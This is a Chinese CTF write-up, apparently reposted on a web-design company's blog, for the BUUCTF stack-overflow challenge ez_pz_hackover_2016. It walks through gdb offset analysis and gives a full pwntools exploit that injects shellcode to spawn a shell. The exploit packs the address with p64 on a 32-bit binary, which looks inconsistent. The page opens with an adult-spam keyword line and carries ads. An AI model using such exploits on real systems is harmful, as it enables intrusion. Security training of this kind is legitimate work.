真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

[PWN]shellcode2016-創(chuàng)新互聯(lián)

2016_ez_pz_hackover 題目地址:BUUCTF 1.查看文件信息

checksec一下:32位文件,沒有開啟任何保護(hù)

雙陽網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)!從網(wǎng)頁設(shè)計、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)公司等網(wǎng)站項目制作,到程序開發(fā),運營維護(hù)。創(chuàng)新互聯(lián)2013年開創(chuàng)至今到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗和運維經(jīng)驗,來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)。

運行:提示輸入一串字符串

image-202211302020174402.IDA分析 main函數(shù):

? fgets函數(shù)讀取0x3ff字符串到s變量,但是s變量距離ebp有0x40c(>0x3ff)的距離,此處無法溢出

? 函數(shù)會判斷輸入的字符串是否等于"crashme",等于則會進(jìn)入vuln函數(shù)

image-20221130204637073

vuln函數(shù):

? 從變量s復(fù)制0x400字節(jié)到dest變量,由于dest變量距離ebp只有0x32個字節(jié)

? 此處存在棧溢出

? 由于本題目沒有開啟任何保護(hù),因此可以直接寫入shellcode,將返回地址覆蓋為shellcode的地址,執(zhí)行shellcode

? shellcode利用pwntools工具自動生成

shellcode = asm(shellcraft.sh())

image-20221130213413619

分析:

首先要確定在vuln函數(shù)中shellcode的地址或者相對偏移(即距離復(fù)制過去的變量s(src)的距離)

利用gdb動態(tài)調(diào)試,輸入"crashme/x00"字符串成功通過判斷,跳入vuln函數(shù)

在vuln函數(shù)的nop指令處下斷點

image-20221130215920372

gdb動態(tài)調(diào)試的python代碼為

from pwn import *
#p=remote()
context.log_level='debug'
p=process('./ez_pz_hackover_2016')

gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
payload=b'crashme\x00'+b'aaaa'
p.sendline(payload)
pause()

終端顯示,

輸出的s變量的地址為 0xffcdb45c

image-20221201202809407

在gdb中輸入 c 運行到斷點

image-20221201202911739

stack 30 查看當(dāng)前棧的數(shù)據(jù)

image-20221201203140514

可以發(fā)現(xiàn)只能看到’ashme’,沒有找到’cr’字符串,

觀察偏移棧0x20處的數(shù)據(jù),為0x7263ffcd,其中 72代表’r’ 63代表’c’,(由于數(shù)據(jù)對齊造成)

因此輸入點"crashme"的起始地址為棧偏移0x22,地址為0xffcdb422

輸入點距離ebp(棧偏移0x38,地址0xffcdb438)的距離為 0x38-0x22 = 0xffcdb438-0xffcdb422 = 0x16

ebp地址為棧偏移0x38,返回地址為棧偏移0x3c,

shellcode字符串的寫入地址為棧偏移0x40處(圖中紅框)

因此我們只需要將函數(shù)返回地址覆蓋為 shellcode地址(shellcode字符串的寫入地址為棧偏移0x40),即可執(zhí)行shellcode

那么 如何得到shellcode的地址呢?

? 我們注意到之前輸出了s的地址0xffcdb45c,該變量距離shellcode的距離為 0xffcdb45c - 0xffcdb440 = 0x1c

? 可以用 s_add - 0x1c 表示shellcode地址

構(gòu)造payload:

shellcode_add = s_add - 0x1c

payload = b’crashme\x00’ + b’a’*(0x16-8+4) + p64(shellcode_add)+ shellcode

其中 0x16-8 是因為 ‘crashme\x00’ 占據(jù)8個字節(jié)

3.完整exp
from pwn import *
#p=remote('node4.buuoj.cn',29709)
context.log_level='debug'
p=process('./ez_pz_hackover_2016')

# gdb.attach(p,'b *0x8048600')
# p.recvuntil('crash: ')
# s_add=int(p.recv(10),16)
# print (hex(s_add))
# payload=b'crashme\x00'+b'aaaa'
# p.sendline(payload)
# pause()

p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
shellcode = asm(shellcraft.sh())
shellcode_add = s_add - 0x1c
payload = b'crashme\x00' +  b'a'*(0x16-8+4) + p64(shellcode_add)+ shellcode
p.sendline(payload)
p.interactive()

成功得到flag:

image-20221201210705201

你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機房具備T級流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級服務(wù)器適合批量采購,新人活動首月15元起,快前往官網(wǎng)查看詳情吧


文章標(biāo)題:[PWN]shellcode2016-創(chuàng)新互聯(lián)
文章源于:http://weahome.cn/article/deeocd.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部